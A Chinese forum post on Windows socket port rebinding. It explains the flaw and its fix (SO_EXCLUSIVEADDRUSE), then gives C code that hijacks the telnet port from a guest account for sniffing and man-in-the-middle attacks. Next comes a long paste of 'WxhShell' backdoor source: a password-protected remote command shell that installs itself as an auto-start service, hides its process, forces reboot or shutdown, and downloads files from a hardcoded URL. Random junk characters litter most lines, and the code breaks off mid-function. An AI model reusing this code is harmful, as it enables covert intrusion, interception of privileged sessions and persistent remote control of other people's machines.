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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n~,]KdU]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T3G/v)ufd  
Krp <bK6  
  saddr.sin_family = AF_INET; W>?f^C!+m  
# Z|%0r_~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~ ^rey  
zL)1^[%O9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S om. qD  
yhSk"e'G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s<Ex"+  
FI?gT  
  这意味着什么?意味着可以进行如下的攻击: ,#E3,bu6_4  
Jb3>vCIn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'ZGT`'ri  
yD3bl%uZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tA! M  
&547`*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |&elZ}8  
0<]$v"`I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _[}G(<  
~^lH ^J   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3{Na ZIk  
;g: UE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i"%JFj_G  
g[#k.CuP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zB#_:(1qK  
Mvy6"Q:  
  #include Bmx(qE  
  #include N{1.g S  
  #include Iz6ss(UJ  
  #include    C1X}3bB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D'7A2f  
  int main() tJUVw=  
  { =@xN(] (  
  WORD wVersionRequested; IvEMg2f}  
  DWORD ret; ]regi- LGU  
  WSADATA wsaData; BW'L.*2  
  BOOL val; 0V<Aub[${  
  SOCKADDR_IN saddr; gHQPhe#n  
  SOCKADDR_IN scaddr; c=b+g+*xd  
  int err; rnnX|}J  
  SOCKET s; 2wB.S_4"-<  
  SOCKET sc; q%OcLZ<,  
  int caddsize; &_"ORqn&  
  HANDLE mt; \ V[;t-  
  DWORD tid;   [3t0M5x w  
  wVersionRequested = MAKEWORD( 2, 2 ); ~hS3*\^~M  
  err = WSAStartup( wVersionRequested, &wsaData ); Ho|o,XvLv  
  if ( err != 0 ) { = E&b=  
  printf("error!WSAStartup failed!\n"); F;IP3tD  
  return -1; =LlLE<X"%x  
  } CTl(_g  
  saddr.sin_family = AF_INET; TRF]i/Bs  
   Ap11b|v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <e;jW K  
EfFz7j&X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8<YX7e  
  saddr.sin_port = htons(23); x1t{SQ-C  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S-isL4D.Z  
  { } sf YCz  
  printf("error!socket failed!\n"); w?kGi>7E  
  return -1; <(fdHQD!7>  
  } 4F}Pu<;  
  val = TRUE; }P#Vsqe V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JDkCUN5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) znt)]>f#  
  { A[RHw<  
  printf("error!setsockopt failed!\n");  ci`zR9Ks  
  return -1; i][f#e4  
  } z<a$q3!#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2$M,*Dnr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #":: ' ?,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 St6aYK  
q<n[.u1@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *~c qr  
  { 34z_+  
  ret=GetLastError(); ar Q)%W  
  printf("error!bind failed!\n"); uaiz*Im  
  return -1; '0Lov]L  
  } 2R~6<W+&:>  
  listen(s,2); :-)GNf yGz  
  while(1) RoX &+~  
  { fO6[!M(  
  caddsize = sizeof(scaddr); Gu5~ DyT`G  
  //接受连接请求 /-Wuq`P/ T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0x\2 #i  
  if(sc!=INVALID_SOCKET) b\:~;  
  { ?KCivf  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )u0O_R  
  if(mt==NULL) lK*jhW?3:  
  { .l \r9I(  
  printf("Thread Creat Failed!\n"); k=?^){[We  
  break; P'sfi>A  
  } BBxc*alG0  
  } #: #Dz.$L  
  CloseHandle(mt); '@bJlJB9>  
  } FqwIJ|ct  
  closesocket(s); -^Xy%  
  WSACleanup(); qbb6,DL7J  
  return 0; @T ysXx  
  }   T^]7R4 Fg  
  DWORD WINAPI ClientThread(LPVOID lpParam) *hF^fxLbl  
  { m2(E>raV6  
  SOCKET ss = (SOCKET)lpParam; Nt~x&s  
  SOCKET sc; mZ7B<F[qV  
  unsigned char buf[4096]; -(9O6)Rs$  
  SOCKADDR_IN saddr; 9/@ &*  
  long num; ? Vp%=E  
  DWORD val; ;'}'5nO=$  
  DWORD ret; m; o4Fu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SNab   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (~&w-w3  
  saddr.sin_family = AF_INET; F+uk AT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s]Gd-j  
  saddr.sin_port = htons(23); hbI;Hd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Efx=T$%^&  
  { 9 Kbw GmSU  
  printf("error!socket failed!\n"); w{`Acu  
  return -1; < bFy(+  
  } V&*D~Jq  
  val = 100; d2~l4IL)~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >3PMnI  
  { <7'&1= %r  
  ret = GetLastError(); 6{=_718l`  
  return -1; Pu;yEh  
  } .'j29 6[u  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l^W uS|G[  
  { E(4w5=8TI  
  ret = GetLastError(); a9l8{ 3  
  return -1; ` 1+%}}!$u  
  } u,o1{% O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) . I==-|  
  { -bS)=L  
  printf("error!socket connect failed!\n"); Fp%Ln(/m  
  closesocket(sc); aQUGNa0+d  
  closesocket(ss); ((<`zx  
  return -1; zkexei4^<  
  } :q (&$  
  while(1) B!;+_%P76  
  { .z-UOyer  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P!e=b-T  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OlY$ v@|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <a|@t@R  
  num = recv(ss,buf,4096,0); I[D8""U  
  if(num>0) ER^QV(IvP8  
  send(sc,buf,num,0); #U ASH&  
  else if(num==0) q3h'l,  
  break; x[i`S8D  
  num = recv(sc,buf,4096,0); BStk&b  
  if(num>0) "9XfQ"P  
  send(ss,buf,num,0); }x:f%Z5h  
  else if(num==0) ~L{l+jK$p  
  break; YGk9b+`  
  } cb$-6ZE/  
  closesocket(ss); #;Tz[0  
  closesocket(sc); 6F|j(LB  
  return 0 ; tFM$#JN  
  } obo&1Uv,/  
~h)&&' a  
vH[Pb#f-  
========================================================== 4kl Ao$  
R_N:#K.M  
下边附上一个代码,,WXhSHELL QDTNx!WL  
gl7|H&&xV  
========================================================== Y)|N"f;  
pqR\>d 0  
#include "stdafx.h" m3.sVI0I  
p2 %  
#include <stdio.h> BRv x[u  
#include <string.h> x#H 3=YD*  
#include <windows.h> ~*.-  
#include <winsock2.h> DjLL|jF  
#include <winsvc.h> rwf^,r"r  
#include <urlmon.h> ST dNM\+  
>:1P/U  
#pragma comment (lib, "Ws2_32.lib") v=?2S  
#pragma comment (lib, "urlmon.lib") zpjqEEY;  
$}o b,i^W  
#define MAX_USER   100 // 最大客户端连接数 -{jdn%Y7CK  
#define BUF_SOCK   200 // sock buffer v)X\GmW7w  
#define KEY_BUFF   255 // 输入 buffer y2|R.EU\m<  
q3P+9/6  
#define REBOOT     0   // 重启 <q2?S  
#define SHUTDOWN   1   // 关机 3n;K!L%zMT  
z=Cr7-  
#define DEF_PORT   5000 // 监听端口 l.+yn91%>  
=E*Gb[r_7  
#define REG_LEN     16   // 注册表键长度 kG0Yh2;#  
#define SVC_LEN     80   // NT服务名长度 I5ZqBB  
W!L+(!&H  
// 从dll定义API |`/TBQz:r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t^tmz PWA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f 2YLk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R[B?C;+(O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3'`dFY,  
yd_ (?V&;_  
// wxhshell配置信息 3G}AH E4  
struct WSCFG { @.C{OSH E  
  int ws_port;         // 监听端口 \wvg,j=  
  char ws_passstr[REG_LEN]; // 口令 q(M:QWA q  
  int ws_autoins;       // 安装标记, 1=yes 0=no }hpm O-  
  char ws_regname[REG_LEN]; // 注册表键名 u9qMqeF  
  char ws_svcname[REG_LEN]; // 服务名 4,p;Km&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @R|'X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RO(TvZ0pE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =n(3o$r(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C#0Qd%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~a9W3b4j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 , E )|y4  
?/hZb"6W  
}; LPd\-S_rsP  
{-/^QX]6  
// default Wxhshell configuration Dh4 6o|P  
struct WSCFG wscfg={DEF_PORT, 2/ rt@{V(  
    "xuhuanlingzhe", Z~  
    1, t<iEj"5  
    "Wxhshell", OX]V) QHVZ  
    "Wxhshell", >o,^b\  
            "WxhShell Service", R"v 3!P  
    "Wrsky Windows CmdShell Service", o`S ?  
    "Please Input Your Password: ", R\3VB NX.g  
  1, *jq7X  
  "http://www.wrsky.com/wxhshell.exe", "UFs~S|e  
  "Wxhshell.exe" ENVk{QE!  
    }; _*M42<wcO  
Cizvw'XDV  
// 消息定义模块 4bVO9aUG{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !%(h2]MQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >4` dy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T=f|,sK +7  
char *msg_ws_ext="\n\rExit."; Ga>uFb}W~  
char *msg_ws_end="\n\rQuit."; C BYX]  
char *msg_ws_boot="\n\rReboot..."; oTjyN\?H  
char *msg_ws_poff="\n\rShutdown..."; ;h=*!7:  
char *msg_ws_down="\n\rSave to "; <yA}i"-1W  
a 3SlxsWW  
char *msg_ws_err="\n\rErr!"; e!-,PU9+  
char *msg_ws_ok="\n\rOK!"; WS8+7O'1\  
Rgy- OA  
char ExeFile[MAX_PATH]; 3chPY4~A  
int nUser = 0; O4 3YY2  
HANDLE handles[MAX_USER]; INs!Ame2  
int OsIsNt; %q ;jVj[  
h5_G4J{1  
SERVICE_STATUS       serviceStatus; @Hb'8F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BaF!O5M  
&.13dq  
// 函数声明 `?g`bN`Vn  
int Install(void); }TQ{`a@  
int Uninstall(void); Y}*\[}l:&x  
int DownloadFile(char *sURL, SOCKET wsh); U6ZR->:  
int Boot(int flag); l ASL8O&\  
void HideProc(void); N]EcEM#  
int GetOsVer(void); [S]S^ej*8  
int Wxhshell(SOCKET wsl); BcjP+$k4_  
void TalkWithClient(void *cs); ?^mi3VM  
int CmdShell(SOCKET sock); x&Vm!,%:1  
int StartFromService(void); Lf([dE1  
int StartWxhshell(LPSTR lpCmdLine); JCcZuwu[  
V3;.{0k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); []R? ViG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hRI"y":zD  
% }|cb7l  
// 数据结构和表定义 |s#'dS;  
SERVICE_TABLE_ENTRY DispatchTable[] = `(+o=HsD  
{ 1axQ)},o@p  
{wscfg.ws_svcname, NTServiceMain}, &c(WE RW?-  
{NULL, NULL} o}Odw;  
}; 4to% `)]  
Sd/?&  
// 自我安装 H7U li]e3  
int Install(void) ,oxcq?7#4  
{ =(a1+. O  
  char svExeFile[MAX_PATH]; xqXDxJlns  
  HKEY key; 5J)=}e  
  strcpy(svExeFile,ExeFile); do-ahl,  
o@]So(9f  
// 如果是win9x系统,修改注册表设为自启动 [XRCLi}  
if(!OsIsNt) { [3l*F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6$a$K,dZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _zt1 9%Wg  
  RegCloseKey(key); V@7KsB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +uWDP .  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P1b'%  
  RegCloseKey(key); jV#ahNq;  
  return 0; 8zLY6@  
    } 9][(Iu]h7  
  } fP tm0.r  
} i&njqK!wS  
else { >&g}7d%  
)15Z#`x  
// 如果是NT以上系统,安装为系统服务 f)c~cJz<q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9Suu-A  
if (schSCManager!=0) ; Sd\VR  
{ !3i Gz_y  
  SC_HANDLE schService = CreateService svelYe#9z  
  ( PiV7*F4qI.  
  schSCManager, }>^Q'BW;65  
  wscfg.ws_svcname, >e2<!#er|  
  wscfg.ws_svcdisp, nJRS.xs  
  SERVICE_ALL_ACCESS, 6Ao%>;e*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -U<Upn)2  
  SERVICE_AUTO_START, )eUW5 tS  
  SERVICE_ERROR_NORMAL, }?cGf- c  
  svExeFile, qQpnLV4  
  NULL, 6.5T/D*TT  
  NULL, oLWJm  
  NULL, Tu{h<Zy  
  NULL, |/g W_;(  
  NULL SVjl~U-^  
  ); uE[(cko  
  if (schService!=0) Qr1e@ =B  
  { j1SMeDDM ~  
  CloseServiceHandle(schService); hYQ_45Z*?  
  CloseServiceHandle(schSCManager); _3]][a,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Hk>79};  
  strcat(svExeFile,wscfg.ws_svcname); 7nbB^2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9Rek4<5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .nYUL>  
  RegCloseKey(key); 'Dvv?>=&  
  return 0; < RCLI|  
    } IHgeQ F ~  
  } ^xf<nNF:p  
  CloseServiceHandle(schSCManager); }M1sksk5  
} bs9aE< j  
} e*+F pW@  
o!:8nXw  
return 1; iK?b~Q  
} {;2vmx9  
"cTncL  
// 自我卸载 7_2kDDW0  
int Uninstall(void) jjJ2>3avY  
{ dd?x(,"A`  
  HKEY key; p3/*fH98  
6#j$GH *  
if(!OsIsNt) { P}.7Mehf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &V>fYgui  
  RegDeleteValue(key,wscfg.ws_regname); "EU{8b  
  RegCloseKey(key); X(jVRr_m9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hi_ G  
  RegDeleteValue(key,wscfg.ws_regname); b$k&dT\o  
  RegCloseKey(key); .1 %T W)  
  return 0; +GsWTEz   
  } 3~e8bcb  
} ~}K5#<   
} \c[IbL07  
else { ]|_\xO(  
&C>/L;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DF6c|  
if (schSCManager!=0) m]*Bx%-1c  
{ $D31Q[p=+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8A{_GH{:  
  if (schService!=0) '8Phxx|  
  { l"n{.aL  
  if(DeleteService(schService)!=0) { kt4d; 4n  
  CloseServiceHandle(schService); jL)WPq!m+  
  CloseServiceHandle(schSCManager); +i\&6HGK;-  
  return 0; +.y .Mp  
  } Ev!{n  
  CloseServiceHandle(schService); = 07Gy,=i  
  }  Av0y?oGH  
  CloseServiceHandle(schSCManager); b;|55Y  
} &rDM<pO #-  
} $8l({:*q0  
8@NH%zWBp  
return 1; @pGZLq  
} D@EO=08<b  
9+,R`v  
// 从指定url下载文件 K;7f?52  
int DownloadFile(char *sURL, SOCKET wsh) Y2o6kS{x  
{ nN$Y(2ZN  
  HRESULT hr; E{HY!L[  
char seps[]= "/"; \, !Q Jp4  
char *token; J/7R\;q`~o  
char *file; "o& E2#  
char myURL[MAX_PATH]; ,:+d g(\r  
char myFILE[MAX_PATH]; 6.t',LTB  
>hY" 3  
strcpy(myURL,sURL); )'l*Tl  
  token=strtok(myURL,seps); [<`SfE  
  while(token!=NULL) /S:F)MO9  
  { )m3q2W  
    file=token; ,fEO> i  
  token=strtok(NULL,seps); *%Qn{x  
  } lCW8<g^  
o`khz{SU:  
GetCurrentDirectory(MAX_PATH,myFILE); W~_t~Vg5  
strcat(myFILE, "\\"); 2/,0iwj-  
strcat(myFILE, file); zU6a't P  
  send(wsh,myFILE,strlen(myFILE),0); [nxE)D  
send(wsh,"...",3,0); )a}"^1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :hGPTf  
  if(hr==S_OK) ~-a'v!  
return 0; ]0D}T'wM  
else ThW,Y" l  
return 1; j?b\+rr  
\qi|Js*{  
} dBO@6*N4c  
i` A  
// 系统电源模块 =TR,~8Z|  
int Boot(int flag) L.6WiVP)  
{ dQezd-y*  
  HANDLE hToken; v+6@ cC  
  TOKEN_PRIVILEGES tkp; t+CWeCp,  
bIt=v)%$  
  if(OsIsNt) { s?WCnT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DaNW~rd{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 57F%j3.|/  
    tkp.PrivilegeCount = 1; 7iu Q9q^&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A5#y?Aq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3+MB5 T  
if(flag==REBOOT) { 4t4olkK3Oa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4([.xT  
  return 0; Oc9#e+_&  
} ]43[6Im  
else { 3*DXE9gA9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l2b{u GE  
  return 0; PXP`ZLF  
} `n!viW|tB  
  } b(GFMk  
  else { N#N0Q0W=  
if(flag==REBOOT) { WUAJjds  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {TXOQ>gY  
  return 0; ]O:M$ $  
} OLq 0V3m  
else { p]W+eT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JU0]Wq<^[  
  return 0; !- C' }  
} 8F;>5i  
} wh 0<Uv  
Vu0 KtG9  
return 1; ?y},,  
} x )5V.q  
#i QX 6WF  
// win9x进程隐藏模块 HN5W@5m: .  
void HideProc(void) vnX  
{ ScnY3&rc  
&!7+Yb(1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eN0P9.eqM  
  if ( hKernel != NULL ) bv?0.{Z  
  { c yQ(fIYl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ']51jabm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pL oy  
    FreeLibrary(hKernel); ZIxRyo-i  
  } .I?@o8'x  
_|c&@M  
return; p|6v~  
} k/&]KYwu  
Dxx;v.$  
// 获取操作系统版本 <2Y0{ 8)  
int GetOsVer(void) sB}]yw  
{ :x>T}C<Y  
  OSVERSIONINFO winfo; {'3D1#SK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kv|,b  
  GetVersionEx(&winfo); =7[)'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u'9gVU B  
  return 1; C;1PsSE+A  
  else mE $dO3  
  return 0; =(U/CI  
} Uf,fX/:!  
H;vZm[\0N-  
// 客户端句柄模块 i3V/`)iz  
int Wxhshell(SOCKET wsl) u?Hb(xZtg=  
{ %&] 1FhL  
  SOCKET wsh; *c]KHipUIS  
  struct sockaddr_in client; ki\uTD`mf  
  DWORD myID; `bgb*Yaod  
4!%]fg}Um  
  while(nUser<MAX_USER) &{^eU5  
{ >Gd.&flSj  
  int nSize=sizeof(client); z4O o@3$\R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o\4t4}z~'f  
  if(wsh==INVALID_SOCKET) return 1; swr"k6;G  
UOI^c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  b;vNq  
if(handles[nUser]==0) lJ/6-dP  
  closesocket(wsh); l:e9y$_)  
else K^ D82tP  
  nUser++;  Dt}dp_  
  } sWxK~Yg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MQw9X  
!'c| N9  
  return 0; g^lFML| %  
} 8fO8Dob]\Y  
aPBX=;(  
// 关闭 socket S=9E@(]  
void CloseIt(SOCKET wsh) az(5o  
{ }brr ) )  
closesocket(wsh); K+ehr  
nUser--; zGs|DB  
ExitThread(0); FN{/.?w(  
} *FPg#a+  
_"f<Ol[!  
// 客户端请求句柄 Baq ~}B<  
void TalkWithClient(void *cs) uB+9dQ  
{ R 7K  
-uR{X G. D  
  SOCKET wsh=(SOCKET)cs; )1z4q`  
  char pwd[SVC_LEN]; -N^ =@Yx)  
  char cmd[KEY_BUFF]; [t}):}~F|  
char chr[1]; :uR>UDlPX  
int i,j; Yk7"XP[Y  
=YoTyq\  
  while (nUser < MAX_USER) { `1,eX)S  
a-Y6w5  
if(wscfg.ws_passstr) { vahf]2jEB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M)=|<h"F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cju@W]!  
  //ZeroMemory(pwd,KEY_BUFF); !u0U5>ccw  
      i=0; Oy'0I,  
  while(i<SVC_LEN) { "o==4?*L  
S-,kI  
  // 设置超时 +3?`M<L0  
  fd_set FdRead; rgT%XhUS6f  
  struct timeval TimeOut; &Q+]t"OA!  
  FD_ZERO(&FdRead); Zjt9vS)  
  FD_SET(wsh,&FdRead); JJNmpUJ  
  TimeOut.tv_sec=8; % &+|==-  
  TimeOut.tv_usec=0; -&7=uRQk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |$w0+bV*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6m\*]nOy4  
m`a>,%}P"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [wIKK/O  
  pwd=chr[0]; p}r yKW\cJ  
  if(chr[0]==0xd || chr[0]==0xa) { nO:HB.&@  
  pwd=0; {Ot[WF  
  break; 5D-BIPn=JV  
  } >+f'!*%7He  
  i++; =_pmy>_z  
    } %IPyCEJD  
6i^0T  
  // 如果是非法用户,关闭 socket J;"nm3[.q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !yk7HaP  
} jiOf')d5  
\hu':@}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IwnYJp:9v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z.{HD9TD  
f0g6g!&gf  
while(1) { =^"~$[z(  
'H FwP\HX  
  ZeroMemory(cmd,KEY_BUFF); h#;?9DP  
>Ziy1Dp  
      // 自动支持客户端 telnet标准   ?Ip$;s  
  j=0; =cknE=  
  while(j<KEY_BUFF) { AwA1&mh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l`oT:  
  cmd[j]=chr[0]; EqYz,%I%  
  if(chr[0]==0xa || chr[0]==0xd) { |#!eMJ&0  
  cmd[j]=0; Y9/{0TArG  
  break; *di&%&f  
  } N.k+AQb  
  j++; (PyTq 5:F  
    } {W]bU{%.  
`g2&{)3k  
  // 下载文件 ~}Kp  
  if(strstr(cmd,"http://")) { *C tsFS~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,q/tyGj  
  if(DownloadFile(cmd,wsh)) _ Eszr(zJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '"'D.,[W2  
  else .59KE]u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,,zd.9n  
  } M P_A<F  
  else { ;sm"\.jF  
VM=hQYe  
    switch(cmd[0]) { :Xh_$4~^Y  
  0@JilGk1u  
  // 帮助 jM{(8aUG  
  case '?': { YLD-SS[/>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |;X?">7NW  
    break; ,s\x]bh  
  } Omp i~  
  // 安装 m*Q[lr=  
  case 'i': { 0EcC  
    if(Install()) 1kbT@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ty g$`\#   
    else 3w[<cq.!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TXZ(mj?  
    break; ^=aml   
    } ~R"]LbeY  
  // 卸载 |) x'  
  case 'r': { ~| 4U@  
    if(Uninstall()) OHx,*}N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %AzPAWcN  
    else r\4*\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,eZ;8W{G  
    break; {QIS411  
    } ^.ZSpc}<  
  // 显示 wxhshell 所在路径 ~.\73_M=A  
  case 'p': {  ;Puy A  
    char svExeFile[MAX_PATH]; ZX~>uf\n  
    strcpy(svExeFile,"\n\r"); xl1L4R)6D  
      strcat(svExeFile,ExeFile); Wq=ZU\Y  
        send(wsh,svExeFile,strlen(svExeFile),0); 8MYLXW6  
    break; UE}8Rkt  
    } P5yJO97  
  // 重启 f}Ne8]U/Hc  
  case 'b': { BLl%D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c,3'wnui  
    if(Boot(REBOOT)) se^NQ=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]%cHm4#m3  
    else { CF4Oh-f  
    closesocket(wsh); yDu yMt#  
    ExitThread(0); GFASF,+  
    } =8$(i[;6w  
    break; | o;j0  
    } L@gQ L  
  // 关机 D[>XwL  
  case 'd': { wHB Hkz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P%<aGb4  
    if(Boot(SHUTDOWN)) tu?Z@W/  
